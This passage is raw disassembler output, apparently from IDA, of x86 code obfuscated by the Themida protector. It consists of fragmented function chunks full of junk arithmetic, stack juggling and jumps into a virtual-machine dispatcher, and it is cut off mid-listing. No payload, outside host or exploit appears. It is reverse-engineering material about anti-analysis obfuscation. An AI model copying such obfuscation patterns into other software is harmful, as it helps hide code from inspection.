SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0057170B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00573013 SIZE 0000000B BYTES mov ax, [esp+0] jmp loc_5696AF sub_56BC97 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56BCA0: ; CODE XREF: sub_57354D-1223Cj xchg ebx, [esp+8+var_8] pop esp push eax mov eax, 4 sub ecx, 57E1534Eh add ecx, eax add ecx, 57E1534Eh pop eax push edx push eax mov eax, 455D5A6Ah mov edx, 78B57BABh xor edx, eax jmp loc_57154D ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574D8F loc_56BCCC: ; CODE XREF: sub_574D8F-7AD5j pop ebp push edx mov edx, esp add edx, 4 push edi mov edi, 4 add edx, edi pop edi xchg edx, [esp+8+var_8] pop esp xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] jmp loc_56A920 ; END OF FUNCTION CHUNK FOR sub_574D8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_56BCF1: ; CODE XREF: sub_561027+F543j push [esp+18h+var_18] pop ebp add esp, 4 sub esp, 4 mov [esp+18h+var_18], ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+18h+var_18] mov esp, [esp+18h+var_18] jmp loc_5659D2 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E1B loc_56BD1A: ; CODE XREF: sub_569E1B-3E88j add esp, 4 jmp loc_568989 ; END OF FUNCTION CHUNK FOR sub_569E1B ; --------------------------------------------------------------------------- loc_56BD25: ; CODE XREF: Themida_:0056CDB8j mov [esp], ecx push esp jmp loc_5635F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_56BD2E: ; CODE XREF: sub_564BC5+CB6Dj mov [esp+0Ch+var_C], edi jmp sub_562954 ; END OF FUNCTION CHUNK FOR sub_564BC5 ; =============== S U B R O U T I N E ======================================= sub_56BD36 proc near ; DATA XREF: Themida_:0055FD80o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00561E74 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005687E0 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056F343 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00572126 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00573E1E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00574963 SIZE 00000040 BYTES ; FUNCTION CHUNK AT 00574F86 SIZE 00000019 BYTES push 76D5h mov [esp+4+var_4], esi push eax jmp loc_573E1E sub_56BD36 endp ; =============== S U B R O U T I N E ======================================= sub_56BD44 proc near ; CODE XREF: sub_56E90A-C321j var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056050E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056068D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00560A43 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00561256 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00561D89 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00562007 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005620FC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00562A0F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00562C98 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00562FD8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00563BAA SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056462F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00564691 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565761 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00565A49 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00566BCD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005673DD SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005683D5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005684B0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005684FC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005696D9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00569724 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056997A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A50C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056C0CE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056DB32 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056E47F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00571A81 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00572518 SIZE 00000015 BYTES sub esp, 4 jmp loc_564691 sub_56BD44 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56BD4C: ; CODE XREF: sub_561418+C59j shr edx, 1 cmp eax, edx jz loc_57529E sub esp, 4 jmp loc_56563A ; END OF FUNCTION CHUNK FOR sub_561418 ; =============== S U B R O U T I N E ======================================= sub_56BD61 proc near ; DATA XREF: Themida_:0055FE88o ; FUNCTION CHUNK AT 005749E9 SIZE 00000005 BYTES neg byte ptr [esp+0] pushf jmp loc_5749E9 sub_56BD61 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575420 loc_56BD6A: ; CODE XREF: sub_575420+1j xor al, bl push ebx mov bh, 63h jmp loc_567ED5 ; END OF FUNCTION CHUNK FOR sub_575420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_56BD74: ; CODE XREF: sub_5620B7+CC5Bj mov dh, 73h not dh add dh, 41h jmp loc_566151 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_56BD80: ; CODE XREF: sub_569A84+7738j mov ebp, eax mov eax, [esp+0Ch+var_C] jmp loc_572F21 ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- loc_56BD8A: ; CODE XREF: Themida_:00562E57j neg ebx inc ebx dec ebx jmp loc_56A905 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56BD93: ; CODE XREF: sub_564D26+48C1j xor ebx, 631F71B1h jmp loc_56F928 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568F83 loc_56BD9E: ; CODE XREF: sub_568F83+Fj and ebx, 4F1C6CF0h sub ebx, 9E6FB6AAh mov esi, ebx jmp loc_562DBB ; END OF FUNCTION CHUNK FOR sub_568F83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_56BDB1: ; CODE XREF: sub_56102D+12BBAj pop esp add esp, 4 push 5403h mov [esp+8+var_8], ecx jmp loc_57232B ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_56BDC5: ; CODE XREF: sub_574CDD-6DDCj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] jmp loc_5643F1 ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_56BDD8: ; CODE XREF: sub_5653AD+ED7Dj sub ebx, 71343170h mov eax, [esp+0] add esp, 4 jmp loc_56E80F ; END OF FUNCTION CHUNK FOR sub_5653AD ; =============== S U B R O U T I N E ======================================= sub_56BDE9 proc near ; CODE XREF: sub_56ACDE+1A15j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560BFE SIZE 00000014 BYTES push ebx mov ebx, esp add ebx, 4 push edx mov edx, 4 add ebx, edx jmp loc_560BFE sub_56BDE9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_56BDFF: ; CODE XREF: sub_570CE4+32EBj shl eax, 6 jmp loc_56660F ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56BE07: ; CODE XREF: sub_564D26+5523j push 5448h mov [esp+20h+var_20], edx mov edx, 5E050C6h or edi, edx push [esp+20h+var_20] pop edx push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 jmp loc_569694 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- loc_56BE2E: ; CODE XREF: Themida_:0056A1A9j add esp, 4 jmp loc_56E139 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5631A3 loc_56BE36: ; CODE XREF: sub_5631A3+6j mov [esp+4+var_4], edx mov edx, 16106BD7h mov edi, 16106BDBh push edx mov edx, 6C405CEEh sub edx, 660B1A1Ch sub edi, edx pop edx sub edi, edx add edi, 63542D2h push [esp+4+var_4] mov edx, [esp+8+var_8] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0Ch+var_C] pop esp add esp, 4 sub dword ptr [esp+4], 13C935A6h add [esp+4], edi jmp loc_565ABF ; END OF FUNCTION CHUNK FOR sub_5631A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_56BE87: ; CODE XREF: sub_561541+6A66j neg edx shr edx, 2 add edx, 42CF5A6Ch add ebx, edx pop edx add ebx, 0F29CBDB0h sub edx, ebx mov ebx, [esp+10h+var_10] jmp loc_572EE4 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_56BEA5: ; CODE XREF: sub_569193+11D0j pop eax sub esp, 4 mov [esp+4+var_4], edi jmp loc_570C2D ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5726FB loc_56BEB4: ; CODE XREF: sub_5726FB-B501j add edi, 4 jmp loc_57256E ; END OF FUNCTION CHUNK FOR sub_5726FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_56BEBF: ; CODE XREF: sub_56CC46+38F0j add ecx, esi add ecx, 52B20B69h push edx jmp loc_5719EC ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_56BECD: ; CODE XREF: sub_560EA2+11CB1j add esi, 4 sub esi, 4 xchg esi, [esp+8+var_8] pop esp mov [esp+4+var_4], ebx push esp pop ebx add ebx, 4 push edi mov edi, 4 add ebx, edi pop edi push ebx push [esp+8+var_4] pop ebx pop [esp+8+var_8] mov esp, [esp+4+var_4] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+0] pop esp mov [esp-4+arg_0], ebp push ebx mov ebx, 4DCC384Ch jmp loc_56DDFE ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_56BF1A: ; CODE XREF: sub_56CD13-6A37j mov ecx, 98BCD12Fh jmp loc_5611CE ; END OF FUNCTION CHUNK FOR sub_56CD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680FB loc_56BF24: ; CODE XREF: sub_5680FB-5E77j add esp, 4 xchg ebp, [esp+4+var_4] push [esp+4+var_4] pop ebp push eax mov eax, esp push esi mov esi, 4 push 3408h mov [esp+10h+var_10], ecx mov ecx, 586952BAh sub eax, ecx mov ecx, [esp+10h+var_10] jmp loc_569B07 ; END OF FUNCTION CHUNK FOR sub_5680FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560C12 loc_56BF51: ; CODE XREF: sub_560C12+681j sub ecx, 4 xchg ecx, [esp+0] pop esp mov [esp-4+arg_0], edi push [esp-4+arg_4] push dword ptr [esp+0] jmp loc_565CC2 ; END OF FUNCTION CHUNK FOR sub_560C12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56BF6A: ; CODE XREF: sub_5605BC+Cj mov ebp, 1D5E39C4h push ebp neg [esp+14h+var_14] pop ebp jmp loc_571BBA ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643EB loc_56BF79: ; CODE XREF: sub_5643EB+10FA4j add eax, esi mov esi, [esp-8+arg_4] add esp, 4 push ecx mov ecx, 0 add ecx, eax mov [ecx], dl mov ecx, [esp-8+arg_4] add esp, 4 pop eax push dword ptr [esp+0] jmp loc_56B4AA ; END OF FUNCTION CHUNK FOR sub_5643EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_56BF9D: ; CODE XREF: sub_56D69D-B22Ej add eax, 3F2B2BC6h sub eax, edx sub eax, 3F2B2BC6h pop edx mov edi, [esp+4+var_4] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_567442 ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_56BFBE: ; CODE XREF: sub_569193+533Cj pop ebx pop [esp+8+var_8] jmp loc_5638EC ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_56BFC7: ; CODE XREF: sub_5754DA+Aj or ch, 4Ch not ch xor ch, 81h sub esp, 4 mov [esp+8+var_8], edx mov dh, 81h sub dh, 96h and dh, 65h not dh xor dh, 8Bh jmp loc_5696F0 ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566AF9 loc_56BFE7: ; CODE XREF: sub_566AF9+5C26j pop edx add esp, 4 jmp loc_569125 ; END OF FUNCTION CHUNK FOR sub_566AF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56BFF3: ; CODE XREF: sub_563A7F+10B82j add esp, 4 jmp loc_56A613 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_56BFFB: ; CODE XREF: sub_572075-F6D1j sub esi, edx add esi, 113F4CBCh jmp loc_572C60 ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_56C008: ; CODE XREF: sub_572DD7+13EDj push edi jmp loc_565F98 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A608 loc_56C00E: ; CODE XREF: sub_56A608+38B9j add ebx, esi jmp loc_561F3A ; END OF FUNCTION CHUNK FOR sub_56A608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_56C015: ; CODE XREF: sub_5685B2+2D8Aj sub edx, 3AC67C51h add edx, ebx add edx, 3AC67C51h jmp loc_571EF2 ; --------------------------------------------------------------------------- loc_56C028: ; CODE XREF: sub_5685B2-188Dj add esp, 4 add esp, 4 xor ebx, eax sub esp, 4 mov [esp-8+arg_4], eax mov eax, esp push ebx jmp loc_570D21 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563BCC loc_56C047: ; CODE XREF: sub_563BCC+10j add esp, 4 add ecx, 4 jmp loc_57288B ; END OF FUNCTION CHUNK FOR sub_563BCC ; --------------------------------------------------------------------------- loc_56C055: ; CODE XREF: Themida_:005715EBj push eax mov eax, 9F04539Dh add ebp, eax pop eax add ebx, ebp pop ebp mov edi, [esp] jmp loc_568622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562676 loc_56C069: ; CODE XREF: sub_562676+22j dec eax jmp loc_56CD68 ; END OF FUNCTION CHUNK FOR sub_562676 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_56C06F: ; CODE XREF: sub_56628B+5F78j sub esi, 7EA1037Fh sub esi, 2413973Fh jmp loc_5685D8 ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_56C080: ; CODE XREF: sub_5604FE+D067j push esi mov esi, 508905C4h dec esi xor esi, 6D6E45EFh or esi, 5DAB21A3h jmp loc_569D9D ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56C098: ; CODE XREF: sub_565632+282Dj xor eax, ecx sub esp, 4 mov [esp-8+arg_4], eax xchg ebp, [esp-8+arg_4] push esi mov esi, esp jmp loc_5609B5 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_56C0AB: ; CODE XREF: sub_5685B2-667Dj pop [esp+10h+var_10] pop esp mov [esp+8+var_8], ebx mov bh, 0ECh jmp loc_563987 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_56C0B9: ; CODE XREF: sub_574FC9-685Dj push esp pop edi push edx mov edx, 4 add edi, edx jmp loc_56905F ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A016 loc_56C0C8: ; CODE XREF: sub_56A016-216Fj inc ecx jmp sub_563DCB ; END OF FUNCTION CHUNK FOR sub_56A016 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_56C0CE: ; CODE XREF: sub_56BD44-65D5j push ax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56C0D6: ; CODE XREF: sub_56FA15+1EF8j pop ebx jmp loc_56232F ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- loc_56C0DC: ; CODE XREF: Themida_:0056F313j add edx, 4 add edx, 4 jmp loc_56D123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56C0ED: ; CODE XREF: sub_56FA15-42DEj push eax jmp loc_571CFB ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- loc_56C0F3: ; CODE XREF: Themida_:00573B2Aj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx push esp jmp loc_565F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564746 loc_56C10C: ; CODE XREF: sub_564746+16j mov cl, ah pop eax not bh xchg bh, cl add cl, 66h inc cl jmp loc_56B341 ; END OF FUNCTION CHUNK FOR sub_564746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_56C11D: ; CODE XREF: sub_5634AF+363Dj mov ecx, esi pop esi sub edx, ecx jmp loc_5753E4 ; END OF FUNCTION CHUNK FOR sub_5634AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_56C127: ; CODE XREF: sub_568E5C+BED7j pop edx jmp loc_56D9CA ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5662F9 loc_56C12D: ; CODE XREF: sub_5662F9+836Cj pop esp jmp loc_56A8E5 ; END OF FUNCTION CHUNK FOR sub_5662F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_56C133: ; CODE XREF: sub_561541+B93Cj push edx mov edx, 156B5F77h jmp loc_571F45 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5692D3 loc_56C13E: ; CODE XREF: sub_5692D3+13j mov [esp+0Ch+var_C], esi jmp loc_567E98 ; END OF FUNCTION CHUNK FOR sub_5692D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_56C146: ; CODE XREF: sub_56651E+18j add [esp+8+var_4], edi add [esp+8+var_4], 78D93E6Dh pop edi jmp loc_56EAF1 ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D72 loc_56C158: ; CODE XREF: sub_567D72+15j pop eax push eax mov eax, esp add eax, 4 push 5680h mov [esp+0Ch+var_C], ebx mov ebx, 4 sub eax, 37D33DB4h sub eax, ebx add eax, 37D33DB4h pop ebx jmp loc_5645DF ; END OF FUNCTION CHUNK FOR sub_567D72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_56C180: ; CODE XREF: sub_569FB8+408Cj add esp, 4 add al, 6Ch sub al, bh sub al, 6Ch sub al, 21h mov bx, [esp+2+var_2] jmp loc_565E25 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_56C194: ; CODE XREF: sub_563DCB-2C41j mov al, 0A5h sub esp, 4 jmp loc_5667BC ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_56C1A1: ; CODE XREF: sub_561027+8794j mov esi, 1F334BE2h add esi, 0F4DFFEABh add ebp, 40300041h add ebp, esi jmp loc_56F50F ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_56C1B9: ; CODE XREF: sub_5753A5-15E0j mov esp, [esp+4+var_4] mov ax, [esp-4+arg_0] sub esp, 4 mov [esp+0], edi jmp loc_56A7C1 ; END OF FUNCTION CHUNK FOR sub_5753A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_56C1CE: ; CODE XREF: sub_5734A7-6EEBj sub ebx, 4FA56F58h add ebx, edx add ebx, 4FA56F58h pop edx push ebx push [esp+0Ch+var_8] mov ebx, [esp+10h+var_10] add esp, 4 pop [esp+0Ch+var_C] jmp loc_56F10C ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56331C loc_56C1F0: ; CODE XREF: sub_56331C+Cj xor ecx, 41101E33h add eax, ecx jmp loc_57284D ; END OF FUNCTION CHUNK FOR sub_56331C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_56C1FD: ; CODE XREF: sub_56628B+EEj add eax, edx pop edx sub esi, eax pop eax jmp loc_56C06F ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56C208: ; CODE XREF: sub_561418+C836j mov esi, 285F4BF7h sub esp, 4 mov [esp+0Ch+var_C], edx mov edx, 344905B3h add esi, 31FF0A8Ah sub esi, 3DBF2D46h jmp loc_56736E ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_56C229: ; CODE XREF: sub_572141-288Aj rol word ptr [esp+0], cl pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov edx, [esp] jmp loc_56E920 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56959A loc_56C241: ; CODE XREF: sub_56959A+816Cj mov esp, [esp+0] and [esp+0], al pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56959A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572EDC loc_56C24D: ; CODE XREF: sub_572EDC+3j push [esp+4+var_4] push [esp+8+var_8] pop eax add esp, 4 sub esp, 4 mov [esp+8+var_8], eax push esp jmp loc_56037F ; END OF FUNCTION CHUNK FOR sub_572EDC ; --------------------------------------------------------------------------- loc_56C266: ; CODE XREF: Themida_:005699B4j mov [esp], edi xor dword ptr [esp], 22E12803h pop esi xor esi, 22E12803h pop edi add esi, edi pop edi add esi, ecx pop ecx jmp loc_572846 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_56C283: ; CODE XREF: sub_561027-6F5j push [esp-4+arg_4] jmp loc_575103 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA44 loc_56C28C: ; CODE XREF: sub_56FA44+13j mov [esp+8+var_8], ebp push esi jmp loc_5705BC ; END OF FUNCTION CHUNK FOR sub_56FA44 ; =============== S U B R O U T I N E ======================================= sub_56C295 proc near ; CODE XREF: sub_56504F+1EBBj var_8 = dword ptr -8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0056078F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00561033 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00563340 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056E998 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570601 SIZE 0000000D BYTES push ebp sub esp, 4 jmp loc_570601 sub_56C295 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_56C29E: ; CODE XREF: sub_56AEF2-5FC4j add bl, 0DEh jmp loc_575455 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A423 loc_56C2A6: ; CODE XREF: sub_56A423+2349j push ecx not [esp+10h+var_10] pop ecx push edx jmp loc_561DC3 ; END OF FUNCTION CHUNK FOR sub_56A423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE4B loc_56C2B1: ; CODE XREF: sub_56AE4B-6B0Cj mov [esp+4+var_4], esp add [esp+4+var_4], 4 mov eax, [esp+4+var_4] add esp, 4 add eax, 4 add eax, 4 xor eax, [esp+0] xor [esp+0], eax xor eax, [esp+0] mov esp, [esp+0] jmp loc_574CD8 ; END OF FUNCTION CHUNK FOR sub_56AE4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56C2DA: ; CODE XREF: sub_565632+8C6Fj pop eax add ecx, 5C590112h add ecx, esi sub ecx, 5C590112h pop esi push edx push eax mov eax, 8F4328Bh sub eax, 8E76E86Dh jmp loc_571958 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_56C2FB: ; CODE XREF: sub_5673C3+3CEDj add edi, eax push [esp-4+arg_0] pop eax add esp, 4 push esi jmp loc_56982C ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56351E loc_56C30A: ; CODE XREF: sub_56351E+Fj dec ebx add ebx, 64773EFAh add ebx, 78E73050h sub ebx, 0CF927500h jmp loc_57530D ; END OF FUNCTION CHUNK FOR sub_56351E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574DC1 loc_56C322: ; CODE XREF: sub_574DC1-14A52j push edi mov edi, esp push ebx mov ebx, 4 add edi, ebx jmp loc_566653 ; END OF FUNCTION CHUNK FOR sub_574DC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_56C332: ; CODE XREF: sub_57523A-6570j mov esp, [esp+8+var_8] dec [esp-4+arg_0] pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562BA0 loc_56C33E: ; CODE XREF: sub_562BA0+CF3Dj add eax, 4 sub eax, 4 xchg eax, [esp+4+var_4] pop esp mov [esp+0], edx mov edx, esp add edx, 4 push ecx mov ecx, 4 sub edx, 11CA5F60h sub edx, ecx add edx, 11CA5F60h pop ecx xchg edx, [esp+0] mov esp, [esp+0] mov [esp+0], edx jmp loc_56BC18 ; END OF FUNCTION CHUNK FOR sub_562BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DD54 loc_56C378: ; CODE XREF: sub_56DD54-8B3Dj mov edx, [esp-4+arg_0] add esp, 4 add edx, esi pop esi push edx push [esp-8+arg_8] pop edx jmp loc_5658F4 ; END OF FUNCTION CHUNK FOR sub_56DD54 ; =============== S U B R O U T I N E ======================================= sub_56C38F proc near ; CODE XREF: sub_56FB8A-2DC4j var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056202E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00562E7E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005668D8 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00566CA2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00566CED SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00568F6A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005693A8 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056CB55 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056F790 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0057269B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 